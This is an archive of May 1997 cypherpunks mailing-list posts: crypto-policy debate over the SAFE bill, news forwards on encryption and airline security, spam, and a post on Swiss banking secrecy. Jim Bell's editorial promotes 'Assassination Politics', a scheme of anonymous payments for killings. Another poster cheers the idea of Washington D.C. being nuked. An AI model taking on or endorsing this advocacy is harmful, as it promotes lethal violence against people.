From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jenaer Mixmaster Anonserver <mixmaster@as-node.jena.thur.de>
Date: Wed, 7 May 1997 12:05:40 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <m0wOpx4-0003x9C@as-node.jena.thur.de>
MIME-Version: 1.0
Content-Type: text/plain



For your interest and amusement...

London Daily Telegraph, 5/6/97

"French coders go on strike"

France's 260 Foreign Ministry coders, who decipher top security messages,
went on strike yesterday for the first time since their department was 
set up in the 1960s.

The strike is over career status, the lack of recruits and the impact of
new technologies. Talks are to be held tomorrow. AFP, Paris





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 7 May 1997 14:00:30 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705070543.WAA16571@kachina.jetcafe.org>
MIME-Version: 1.0
Content-Type: text/plain


Igor Chudov writes:
> I am interested in your view, Dave.

There are only two reasons that I can see your interest serving. 
You either wish to support my views or oppose them. Neither case
serves your potential enlightement, therefore I shall choose to 
not answer.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Test  (n.)   - 1. A hardship you don't expect.
Brave (adj.) - 1. Someone looking for a test.










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Omegaman <omegam@cmq.com>
Date: Wed, 7 May 1997 11:57:41 +0800
To: "Shabbir J. Safdar" <cypherpunks@cyberpass.net
Subject: Since when is supporting unrestricted crypto unreasonable?
In-Reply-To: <v03020906af8e6fb1335e@[207.226.3.4]>
Message-ID: <199705070346.WAA10035@jolietjake.com>
MIME-Version: 1.0
Content-Type: text/plain


"Shabbir J. Safdar" <shabbir@vtw.org> writes:
 
> You're pretty hard on CDT, but EFF, EPIC, the ACLU, VTW, Americans for Tax
> Reform, the Association for Computing Machinery, Computer Professionals for
> Social Responsiblity, Eagle Forum, the National Association for Criminal
> Defense Lawyers, and PGP Inc all signed this letter.
> 
> Can you consider, perhaps, for a second, that critics of SAFE are being
> unreasonable?  

No.  Perhaps we consider accepting the bill with such glaring
loopholes unreasonable.  

> I would think so, as critics of SAFE include the Clinton
> Administration.  Is that the kind of company that cypherpunks keep?

I'll let this remark stand on it's own merit.
 
> Looks like widespread support from people who study this issue for living.
> I'm glad to be counted among them.

Interesting dismissal and point of view from an organization which is
ostensibly a promoter of civil liberties.  The trace of elitism in
this quote is an irony that this reader didn't miss.  "Democracy,"
indeed.


It appears that in your daily study of this issue -- and I'm assuming
that familiarity with Cypherpunks is part of that -- you missed some
of the differences between many Cypherpunks and your organization(s).

We all agree that unrestricted/unregulated Cryptography is a "good
thing."   However, the compromises ACLU, EPIC, EFF, CDT, etc. are
willing to make with this bill do not further this ultimate goal.
Unless the administration intends to simply ignore the obvious
loopholes. 

There are also some philosophical differences.

To quote Alan Davidson:
> There is a right we don't have now: The right to export strong
> cryptography. The result is that strong, easy-to-use encryption is not
> seamlessly integrated into most popular products, and is not accessible to
> most people

Actually, the government doesn't have the right to impose restrictions
on strong cryptography.  Yet time and again, it has attempted to do
so, resulting in -- as Alan noted -- a chilling effect on the spread
of strong crypto in the mass market.

And government will continue attempts to reach into regulation of
crypto.  This is why compromise is unacceptable.  Far better to work
around it attempting to spread cryptography far and wide while
legislators and administrators struggle to slip their agenda past your
watchful eyes.


But there is another force at work here.  There is no "killer" crypto
app in the eyes of the masses.  PGP 2.6xxxxx is probably the closest
thing we currently have in this regard.  Furthermore, crypto still
remains largely below the public radar.  While government officials
can trot out the four horsemen with predictable reactions, the
proverbial "other side" has few arguments that carry a similar
impact.  

We can cite abuses, encroachment on civil liberties, increasing
surveillance efforts, and numerous other frightening developments.
None of these have broken into the mass conciousness in the same way
that "protecting the children/public safety" arguments have.  <Irony>
Labels like "militia", "extreme edge" and "radical" also carry alot of
weight in the increasingly paranoid public mind.</Irony>

Until some outrageous surveillance or crypto related abuse occurs
(cryptogate) or is uncovered , it will remain difficult to garner real
mass public support.  The Newt Gingrich cell-phone fiasco came as
close as anything yet.  Commercial interests "get it" & support crypto
for wholly different reasons.

I'm starting to think that until someone actually gets arrested and
jailed for using strong, unbreakable encryption that is "suspected" of
supporting a crime, little will change.  In the meantime, the
administration, Congress, and the TLA's will keep getting closer to
achieving their goals.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 7 May 1997 13:34:03 +0800
To: cypherpunks@toad.com
Subject: Re: AP --> AR
In-Reply-To: <199705070153.SAA19795@fat.doobie.com>
Message-ID: <2XcB7D34w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

>
> Tim May verily saith [paraphrase]:
>
> > I would cry few tears if D.C. got nuked
>
> This will be an historical event of importance comparable to the
> American Revolution and the fall of the Berlin Wall.

I'm all for it!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 7 May 1997 14:01:53 +0800
To: freedom-knights@jetcafe.org (Freedom Knights)
Subject: Re: Controversial Commercial ISP for Remailer?
Message-ID: <199705070553.AAA26992@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Dave Hayes wrote:
> Igor Chudov writes:
> > I am interested in your view, Dave.
> 
> There are only two reasons that I can see your interest serving. 
> You either wish to support my views or oppose them. Neither case
> serves your potential enlightement, therefore I shall choose to 
> not answer.

Dave, you are a very insightful man, but in this case you were
mistaken: I am interested to hear your views for my enlightenment.

But your response above also serves my curiosity, no less than a
more direct one, so thank you very much.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Wed, 7 May 1997 19:15:08 +0800
To: cypherpunks@toad.com
Subject: airlines_2.html
Message-ID: <199705071055.GAA29130@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
   Previous Story: Clinton Defends Wife's Whitewater Statements
   Next Story: Clinton, Zedillo Work to Improve Relations
     _________________________________________________________________
   
   Tuesday May 6 11:33 PM EDT 
   
Airlines Step Up Baggage Security Measures

   WASHINGTON (Reuter) - U.S. airlines started a nationwide domestic
   trial Tuesday to match passengers with luggage as a way to intercept
   terrorists who might try to get a bomb on a plane in an unaccompanied
   bag.
   
   The Air Transport Association, which represents all the major U.S.
   carriers, said the trial followed recommendations by a special White
   House commission formed after the explosion last summer of TWA flight
   800.
   
   Terrorism was at first thought to be the cause of the explosion that
   killed all 230 people on board the Boeing 747, but officials say
   evidence now lead to mechanical failure.
   
   John Meenan, Air Transport Association vice president for policy and
   planning, said the trial would run for about two weeks.
   
   He said the airlines were deciding the extent of bag checking, on
   Federal Aviation Administration advice to run trials at various
   airports, including hub and spoke operations and city-to-city flights.
   
   Meenan said there was a potential for delays when a passenger checked
   a bag but then, for any reason, might not board the flight and stayed
   back for a later connection.
   
   In the past, he said, that would not cause a problem.
   
   "But in the trial, if they find you are not there, they must find your
   bag in the belly of the plane," Meenan said. "The delay can be very
   significant."
   
   He said if one plane were held up for an hour at a busy airport, that
   would prevent another aircraft from landing and taking its place at
   the gate, as well as cause passengers to miss connections.
   
   "You have cascading effect," he said.
   
   FAA spokeswoman Rebecca Trexler said she hoped there would not be too
   many delays, adding that the trial was in part to see the effect of
   bag matching on airline schedules.
   
   Trexler added that airlines had the option of suspending the trial if
   delays were 20 minutes or longer, but by the end of the day she had no
   reports of any delays that long.
   
   Bags are already matched on overseas flights, Meenan said, but those
   are not scheduled as closely together as domestic flights when every
   departure and arrival is timed to get full use out of every plane
   making any delay costly to the carrier.
   
   He said he did not think bag matching was the answer to security
   because it would cause too many serious delays.
   
   He said the answer might be a combination of bag matching and
   profiling passengers to try to screen for further investigation any
   passenger who seemed to be a potential risk, also recommended by the
   special commission.
     _________________________________________________________________
                                      
                 ________________________ ___________ Help
     _________________________________________________________________
   
   Previous Story: Clinton Defends Wife's Whitewater Statements
   Next Story: Clinton, Zedillo Work to Improve Relations
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    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
     _________________________________________________________________
   
                              Reuters Limited
                                      
                                      
    Questions or Comments





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 7 May 1997 20:06:12 +0800
To: cypherpunks@toad.com
Subject: IBM's New Algo
Message-ID: <1.5.4.32.19970507114307.00873568@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


   The New York Times, May 7, 1997, p. D5.

   I.B.M. Researchers Develop A New Encryption Formula

   By Laurence Zuckerman

   I.B.M. plans to announce today that two of its researchers
   have come up with a new computer encryption formula that
   they say is nearly impossible to crack.

   The International Business Machines Corporation said that
   the breakthrough was still a long way from being employed
   outside the lab and that it did nothing to resolve the
   running dispute between the computer industry and the
   Federal Government over whether law enforcement agencies
   should be given access to encrypted communications. But it
   could ultimately help reduce the vulnerability of so-called
   public-key encryption, which is the favored security method
   used to safeguard commerce and privacy on the Internet.

   "They've made a big advance," said Joan Feigenbaum, a
   researcher at AT&T Labs in Murray Hill, N.J., who is
   familiar with the work of the two computer scientists who
   developed the system, Miklos Ajtai and Cynthia Dwork of
   I.B.M.'s Almaden Research Center in San Jose, Calif.
   "Scientifically, this is a big step in the right
   direction."

   But Bruce Schneier, a computer security consultant in
   Minneapolis and author of a standard textbook on
   cryptography, dismissed the news.

   "Theoretically it is important, but as a security
   breakthrough there is nothing new," he said.

   In public-key encryption, the sender of an electronic
   communication uses software that automatically scrambles
   the information by incorporating a publicly known numerical
   key. Decoding the scrambled transmission requires a private
   key, a number supposedly known only by the recipient.

   The security of the system depends, among other things, on
   how difficult it is for an electronic eavesdropper to crack
   the code using a powerful computer. If some of the codes
   that are generated by the system are difficult to break but
   others are easy, the system is inherently weak. I.B.M. said
   that its new system was the first to generate hundreds of
   codes at random, each of which is as difficult to crack as
   the hardest instance of the underlying mathematical
   problem.

   The system is based on a problem that has defied solution
   by mathematicians for 150 years, I.B.M. said.

   Mr. Schneier said that the cryptographic formulas now in
   use were already robust enough. The biggest challenge, he
   said, is creating security systems in the real world that
   are not vulnerable to hackers.

   "Cryptography is a lot more than math" he said.

   [End]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimbell@pacifier.com (Jim Bell)
Date: Wed, 7 May 1997 23:10:50 +0800
To: cypherpunks@cyberpass.net
Subject: My editorial in Oregonian newspaper published today.
Message-ID: <199705071455.HAA26950@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


My editorial appeared in the Tuesday, May 6 issue of the
(Portland) Oregonian newspaper, on the editorial page.



Fishing Expedition Swims Against Tide

According to the maxim, if you invent a better mouse-trap the world will
beat a path to your door.  Maybe the truth is that, instead, you'll get
assaulted by angry cats who are afraid of losing their jobs.

Suppose the government discovered a method to make itself obsolete.  Or
suppose the military learned how to make us all even more secure, for a
thousandth as much defense spending.   We'd never hear about it because
they'd be out of a job, and job security, not national security, is their
highest priority.

Two years ago I had a revolutionary  idea.   I was tired of hearing the
usual stories about how much harder society's problems have gotten in the
last few decades.    It's not that the problems are harder, it's just that
large constituencies have been built which depend on these "problems"  for
their income.  

For example, when the Cold War ended,  there was no military reason we
couldn't have reduced our military budget by a factor of two or three.
"But no!,"  said the politicians, let's continue buying those expensive
Stealth bombers, submarines, tilt-wing airplanes, and other toys. We weren't
afraid of getting attacked, the spending continued because of the threat of
unemployment on the part of the defense-industry workers. 

Legalize drugs and turn a vast legal problem into a far cheaper and more
manageable health problem?  No, because with 70% or more of the prison
population there due to drug laws, you'd have to fire most of the jailers,
the prosecutors, the police, the judges, and the lawyers, all of whom have
come to depend on the involuntary "generosity" of the taxpayer.

Two years ago I realized that the whole corrupt system could be stopped.  It
would be necessary to not only halt pork-barrel politics at all levels, but
also to provide a very few necessary services for people, such as defense
and justice, although financed inexpensively and voluntarily.   You'd have
to shut down all militaries and governments, simultaneously, all around the
world, while at the same time protecting our security.  Impossible?

In the summer of 1995 I began to write an essay, half-jokingly titled
"Assassination Politics".    It occurred to me that if people could defend
themselves by anonymously donating money to anonymous people who act to
protect us, you wouldn't need militaries or governments anymore.   Nuclear
bombs would be obsolete, and in fact they will be hopelessly  dangerous to
anyone who owns them, because the rest of us will be able to donate money to
ensure their owners have no choice but to dismantle them.  Conventional
militaries will be useless,  because threats to people's security will be
dealt with far more cheaply by large numbers of tiny individual
contributions buying the part-time services of a few semi-professional
trouble-shooters.   

Murderous dictators of the past and present,  such as Hitler, Stalin, Mao,
Pol Pot, Saddam Hussein, Khadafi, Idi Amin,  and so many others simply
couldn't operate in such a world, because they (and their replacements, if
anyone dared follow them) could be removed for the collective pocket change
of a few million angry citizens.

There'd be no conventional wars, because anyone who would make war would be
a threat not only to his enemy, but also to anyone on "his" side who would
be forced to help pay for that war, or even third parties who wouldn't want
to see aggression win, for fear they'd be the next target.  There would be
no draft, because forcing someone else to fight for you makes YOU his enemy,
as well: On the other hand, if your cause is just, he will contribute
voluntarily, just as you do, to see the bad guy stopped. 

There would be little crime, because crime will be treated as an attack, and
people will be able to donate money to find and stop the criminals.  But
unlike today, there will be no large constituency (police, jailers, judges,
prosecutors, lawyers) who have a vested interest in keeping the crime rate
high, thus terrorizing the public into supporting "anti-crime spending"
which really just lines their pockets.

I've been openly debating the idea on the Internet since then with anyone
who will listen.  My essay  surprises many and shocks more than a few, but
I am pleased that such a truly revolutionary concept has been so well
received.   Even the Columbian newspaper (www.columbian.com) has decided to
add a pointer to the essay.

The only "threat" in the essay is to the jobs of the people who have been
parasites on the rest of us for decades, as well as to the future of
tyrannies around the world.  But that's why,  on April 1, twenty Federal
agents burst in and took my computer,  told the news media I was "armed and
dangerous," and began engaging in a fishing expedition including harassing
people simply for knowing me.  (No arrest or charges so far.)  They may
claim that they were looking for something else, but what they are really,
desperately hoping to find is...job security.  If I'm right, they have none.

Jim Bell
jimbell@pacifier.com



Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <NOSPAM-geeman@best.com>
Date: Wed, 7 May 1997 23:53:23 +0800
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: The Executive State
Message-ID: <3.0.32.19970507081934.006bbe28@best.com>
MIME-Version: 1.0
Content-Type: text/plain


Anyone doubting that the center of gravity of world power is shifting
would do well to ponder: 100 of the world's top CEO's are going to 
Bill Gates' house to hear him expound on what the future will look
like.

IF that doesn't make you nervous nothing will.  It's at least as 
nervewracking as anything Clinton admin. might do.

At 07:26 PM 5/6/97 -0400, Robert Hettinga wrote:
>
>--- begin forwarded text
>
>
>Date: Tue, 6 May 1997 10:46:19 -0700
>From: thomasu@mail.auburn.edu
>To: misesmail@colossus.net
>Subject: The Executive State
>Sender: owner-misesmail@colossus.net
>Precedence: Bulk
>
>The Executive State:
>The U.S. Presidency vs. American Liberty
>
>	When President Clinton asked golfer Tiger Woods to join him at an official
>propaganda event, and even offered to send Air Force One, Tiger answered as
>every freedom-loving American should: he had something better to do. He was
>going on a vacation with some college chums.
>
>	Tiger has his priorities straight, but his turndown is another indication
>that the presidency is shrinking as an institution. It still commands, but
>no longer compels, our undying (or dying) obedience, no matter how many
>monuments are erected to despots on the Washington Mall. This trend is all
>to the good.
>
>	The legacy of presidential autocracy from the earliest days of the
>republic to the present survives in the form of the executive state. But
>where can you go in the library to find the truth about the havoc U.S.
>presidents have wrecked on the American promise of freedom? Virtually
>nowhere. The official history of the presidency reads like the Lives of the
>Saints.
>
>	The Mises Institute intends to do something about this. In the Fall of
>1998, we're holding a major academic conference on the American presidency.
>Our purpose is to debunk the conventional view that the more power he's
>usurped, the better off the American people are.
>
>	All the presidents qualify for study, but we are especially interested in
>the checkered careers and dictates of Polk, Lincoln, McKinley, Roosevelt I,
>Wilson, Roosevelt II, Truman, Johnson, Nixon, and Reagan.
>
>	If you're a scholar and would like to participate with a paper on some
>aspect of a presidential power grab (or one of those few occasions when a
>president did some good) let us know. An abstract is all that's necessary
>to be considered now.
>
>The Ludwig von Mises Institute
>Auburn, Alabama 36849-5301
>334-844-2500; fax: 334-844-2583
>
>--- end forwarded text
>
>
>
>-----------------
>Robert Hettinga (rah@shipwright.com), Philodox
>e$, 44 Farquhar Street, Boston, MA 02131 USA
>Lesley Stahl: "You mean *anyone* can set up a web site and compete
>               with the New York Times?"
>Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
>The e$ Home Page: http://www.shipwright.com/
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dogbert@yoyo.com
Date: Wed, 7 May 1997 20:58:53 +0800
To: cypherpunks@algebra.com
Subject: (1048129di) Questions, Round Thirteen, The Dilbert Trivia Game
Message-ID: <9705071227.AB84040@cavalier.yoyo.com>
MIME-Version: 1.0
Content-Type: text/plain




* * * * * * Consultants Wanted * * * * * * *
We want to fill up as many binders with as
much information as possible, so we're asking
Dilbert Trivia Game players to do the Yoyodyne
Survey. What's in it for you? Prizes. We'll be
randomly awarding stuff to people who do this:
http://www.yoyo.com/dilbert/survey.html
* * * * * * * * * * * * * * * * * * * * * * *

This memo is to announce that Round Thirteen of The Dilbert
Trivia Game has now been implemented. Please file this memo
in the appropriate binder, in triplicate. The distribution
of cool, official Dilbert prizes is at stake here.

~~~~~~~~~~~~~~~
Need a Way Out?
~~~~~~~~~~~~~~~
If you'd rather write your own performance review than keep
playing this game, please visit Yoyodyne's new Customer
Service Center at http://www.yoyo.com/service, where your
request can be fulfilled automatically. Want to quit all
Yoyodyne games? The Customer Service Center can do that too.
Just like that.

~~~~~~~~~~~~~~~~~~~~~
This Week's Questions
~~~~~~~~~~~~~~~~~~~~~

Question One
~~~~~~~~~~~~
In a meeting with the boss, as captured forever in the pages
of "Dogbert's Top-Secret Management Handbook" ("DTSMH"),
Dilbert is told to add a sentence to his report saying that
micro-robotics is a dead-end technology. When he answers
that the statement would make the whole report a confusing
and senseless waste of time, the boss says:

A -- That's okay. We just won't let anybody else see it.

B -- That's part of our strategy.

C -- And your point is what?


Question Two
~~~~~~~~~~~~
Discussing the quality assurance process with Ratbert (as
transcribed in a strip in "DTSMH"), the boss accuses him of
finding a huge number of flaws in the prototype,
jeopardizing the schedule. The possible results, according
to the boss, are:

A -- Mass layoffs will result.

B -- The entire project will fail and it's all your fault.

C -- This could be the end of civilization as we know it.


Question Three
~~~~~~~~~~~~~~
Waxing rhapsodic over the advantages of using temporary
workers (as noted in a strip in "DTSMH"), the boss says:

A -- I just love hiring these temporary workers.

B -- No employee benefits...no union...just throw 'em in
the Dumpster when you're done with 'em.

C -- Both A and B.


Question Four
~~~~~~~~~~~~~
Asking the boss to delay the beta trial of a product until
it stops exploding, Dilbert is met with resistance, as
evidenced by this strip in "DTSMH":

A -- You engineers are such pessimists. Just once, try to
focus on the positive aspects of the trial.

B -- Is that a bad thing?

C -- Could we call that a feature?

~~~~~~~~~~~~~~~~~
Productivity Tip
~~~~~~~~~~~~~~~~~
Dogbert absolutely, positively must receive your answers at
dogbert@yoyo.com before the deadline of 5/11/97 11:00:00 PM
Eastern Time or you'll be replaced by a consultant. So give
yourself enough time for the mail to get here.

~~~~~~~~~~~~~~~~~~~~~
Incentive Plan Update
~~~~~~~~~~~~~~~~~~~~~
Every correct answer earns you an entry into the weekly,
quarterly, and annual prize drawings. And even wrong answers
count toward the drawing for the annual attendance prize.
(No sick days or vacation days if you want to win that one.)

~~~~~~~~~~~~~~~~~~~~~~~~~~~
How to Answer the Questions
~~~~~~~~~~~~~~~~~~~~~~~~~~~
First off, your player ID -- the letters and numbers in
parentheses on the Subject line when you get your questions
-- has to be on that same old Subject line when you send
your answers. It looks like this example: (123456di)

Most mailers will set this up automatically when you use the
"Reply" button. If yours won't, then copy the Subject line
from the Question message and paste it into the Subject line
of your reply.

Next comes setting up your answers. Start by picking the
LETTER of the multiple-choice answer you like best. Say the
answer to a question is this:

A -- A coffee cup with a slogan is your answer to the
productivity crisis?

Your answer would be the letter A, preceded by a single pound
sign # -- like so: #A

One more thing: Each answer goes on its own line, please.
Thanks.

To review: Start by opening the original e-mail with the
questions, click the "Reply" button, type your answers in
the order in which they were asked, on separate lines, and
put one of these thingies # in front of each one.

There's more about the formatting stuff in the How
to Play document, which you can get by sending e-mail to
dogberthow@yoyo.com.

~~~~~~~~~~~~~~
The Fine Print
~~~~~~~~~~~~~~
*FLAMES*FAN MAIL*FEEDBACK*

Please send everything like that off to Laurie, the Quality
Obsessed Customer Service Rep for the game. Her address is
ratbert@yoyo.com (she lives under the copying machine, in a
little nest there, right next to Ratbert).

Laurie will forward any game feedback to Scott, in neatly
tied daily bundles. Scott prefers it this way -- he told us
so. Letting Laurie solve your problems will allow Scott to
focus on drawing more great comics for us to enjoy.

* Official Notice About the Vagaries of E-mail *

As you've doubtless discovered if you've used e-mail even
once, it usually gets where it's going when it's supposed
to, BUT sometimes the e-mail gods divert your message to
Elbonia. If your answers to the game questions land in our
system after the deadline or fail to make it to us
altogether, we can't count them. We send out a message
listing the correct answers right after the deadline. The
Internet *should* work on time all the time, but it doesn't.
The best thing you can do is send in your answers well in
advance of the deadline.

* Player ID *

Your player ID is the collection of digits and letters,
enclosed in parentheses, on the Subject line of every
question e-mail you receive in this game. It looks like this
example: (123456di). We need to have your player ID in every
communication to Yoyodyne. Most mailers will set this up
automatically when you use the "Reply" button. If yours
won't, then copy over the Subject line from the Question
message and paste it into the Subject line of your reply.

* More Info *

For more information about The Dilbert Trivia Game, send
e-mail to these addresses:

  Quality of Life Issues: ratbert@yoyo.com
  How to Play: dogberthow@yoyo.com
  Game FAQ: dogbertfaq@yoyo.com
  The Official Rules: dogbertrules@yoyo.com
  Web site: http://www.yoyo.com/dilbert

Tell your friends to play The Dilbert Trivia Game, and see
whose score is higher! The sign-up address is
dilbert@yoyo.com. Like, wow.

For info about other free Yoyodyne games you could be
playing, send e-mail to win@yoyo.com or, even better, visit
our Web site at http://www.yoyo.com. And don't forget about
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---
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"Where the future begins...tomorrow."
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Copyright, United Features Syndicate, Inc. 1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 7 May 1997 23:48:31 +0800
To: Dave Hayes <dave@kachina.jetcafe.org>
Subject: Re: Controversial Commercial ISP for Remailer?
In-Reply-To: <199705070543.WAA16571@kachina.jetcafe.org>
Message-ID: <Pine.SUN.3.91.970507110707.999D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 6 May 1997, Dave Hayes wrote:

> Igor Chudov writes:
> > I am interested in your view, Dave.
> 
> There are only two reasons that I can see your interest serving. 
> You either wish to support my views or oppose them. Neither case
> serves your potential enlightement, therefore I shall choose to 
> not answer.

A very Zen answer (and quite a slippery one at that.) What if Igor was 
simply curious as to your views?

If not what difference does it make whether he supports or opposes your view? 
We are all free to our own opinions.  Why do you care whether or not a
person is enlightened by your response?  If you truly are following Zen, then
it is not for you to decide what will or won't enlighten others since 
this would mean taking responsability for another person's karma.

IMHO, your response isn't one of potentially enlightening others, but rather
fear of sharing your opinion.  This is two fold.  If you fear he will oppose
it, you are seeking the approval of others. If you fear he will agree to it,
you fear that those who oppose his views will oppose yours.  You could take
the hidden third option and claim privacy, however it is too late to do so
since you have already shared some commentary - and thus this path is closed
to you.

Your responses so far were to the ethical and moral standards of spamming the
spammers.  I wasn't interested in such.  I am comfortable with my own morals
and take responsability for my actions.  However, the point of this paragraph
is that you have tried to share with us your morals, and thus thrust them
upon us, later, here, you say you lack the will to share your views with us,
and thus back out of passing judgement on our hypothetical actions.

And at this point I am no longer interested in your oppinion on this 
matter for it is jaded by fear, so please, don't even bother to reply. :)

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 7 May 1997 23:53:45 +0800
To: DataET Research Data Engineering Technologies <dataet@hotmail.com>
Subject: Re: Custom programming, Web site design & development, and more.
In-Reply-To: <199705062233.PAA27824@f42.hotmail.com>
Message-ID: <Pine.SUN.3.91.970507113312.999G-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


So, now that your snake oil products have been proven as full of holes as 
swiss cheese, you're back to spam us with offers of your "services?"  Go 
away!

On Tue, 6 May 1997, DataET Research Data Engineering Technologies wrote:

> Visit DataET Research, an excellent source for high-quality, but extensively 
> inexpensive, software development and marketing solutions.
> 
> SERVICES:
> 
> o Custom Software Development Service
> o Custom Database Application Development Service
> o Help File / System Development Service
> o Installation Program Development Service
> o Shareware Distribution & Marketing Service
> o Trial Usage Tracking System Development Service
> o Web Site Design & Development Service
> o Press Release Distribution Service
> 
> If you are interested in having a spectacular Web site or customized software 
> package developed for your organization, VISIT: http://www.dataet.com.
> 
> Free cost and time estimates are given.
> 
> PRODUCTS:
> 
> o VSA2048 Crytography (Encryption) Module
> o VSA2048 QuickCrypt (Encryption)
> 
> If you are interested in trying out the latest encryption software developed by 
> DataET Research, VISIT: http://www.dataet.com.
> 
> Shareware trial edition versions are available.
> 
> DataET Research
> Data Engineering Technologies
> VISIT: http://www.dataet.com
> 
> 
> ---------------------------------------------------------
> Get Your *Web-Based* Free Email at http://www.hotmail.com
> ---------------------------------------------------------
> 
> 

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "So make a move and plead the fifth,   |./|\.
..\|/..|sunder@sundernet.com|  'cause you can't pleade the first!"   |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Wed, 7 May 1997 20:29:24 +0800
To: usura@basement.replay.com
Subject: Netscape-128 not at Replay.com
Message-ID: <3.0.1.32.19970507140543.00912550@localhost>
MIME-Version: 1.0
Content-Type: text/plain



It seems that the US versions of Netscape have been removed from
ftp.replay.com. Did Netscape comment on the software being available, or
what happened?

Mike.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: inet97@ameritech.net
Date: Tue, 13 May 1997 02:05:55 +0800
To: jyu-ohjelmointi-cypherpunks@moderators.uu.net
Subject: A GUARANTEED MONEY MAKER!!
Message-ID: <5l1djo$sck$7701@nntp0.cleveland.oh.ameritech.net>
MIME-Version: 1.0
Content-Type: text/plain


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The entire contents of this message are copyrighted and protected by both
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Communications Inc.. We do authorize and encourage the forwarding of
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 8 May 1997 00:47:36 +0800
To: cypherpunks@cyberpass.net
Subject: Banking Secrecy and Nazi Gold
Message-ID: <v03007800af9667d20ad6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



I try to deconstruct events, to determine what the real issues are.

Take the case of the ongoing flap over Switzerland and claims that Swiss
banks hid gold, jewels, and other forms of money for high-ranking Nazis.
Adding to the flap--actually, making it a newsworthy event--is the
allegation, probably true, that some of the gold was taken from Jews and
others sent to extermination camps.

(A further claim, not related to the Nazi claim directly, is that the bank
accounts of those who perished in the war were not made available to heirs,
that in some cases the banks even liquidated the accounts and used the
money for (unspecified) purposes. I know little about this particular
claim, and won't discuss it further.)

OK, so it's clear to all right-thinking persons what should be done:
Switzerland should return the money to the heirs of those killed by the
Nazis.

Ah, but it's not so clear to me. I guess I'm not a right-thinking person.

First, it is not a matter of "Switzerland" having done something, it is a
matter of several major banks and dozens (I presume) of lesser banks. It is
Credit Suisse, Union Bank, etc. who presumably took in deposits, with
numbered accounts (perfectly legal by Swiss law at the time), not the
"state of Switzerland."

Second, how could the _provenance_ of the deposits be determined by, say
Credit Suisse? How could Hans the Banker taking a deposit from Fritz the
Depositer somehow know that the money Fritz was depositing was from money
seized from Jews? For all Hans knew, especially in 1939-43, before any real
knowleedge of the extermination of Jews became available (and such
knowledge was still rare, as any examination of the newspapers of the day
will show), the money was from German families seeking to protect their own
assets, or was even money siphoned from the German war effort, and so on.

Third, the notion that "Switzerland must do something!" is pernicious and
inimical to banking secrecy and basic privacy issues. A drumbeat is
building which will serve to undermine banking secrecy around the world.

(Now what happened to the Jews in Europe was horrible, depicable, etc. It
was an example of the power of the total state to order the liquidation of
some religious or ethnic faction. But the horror of the liquidation of
millions of Jews, or millions of Chinese, or millions of Tutsis/Hutus,
etc., must not be an excuse for expanding the power of states still
further. That circular logic will ultimately kill even more in factions out
of favor.)

This issue relates to Chaumian anonymous cash, of course. One can imagine
various scenarios by which crypto anarchy is used to transfer funds, etc.
Left as an exercise for the imaginative.

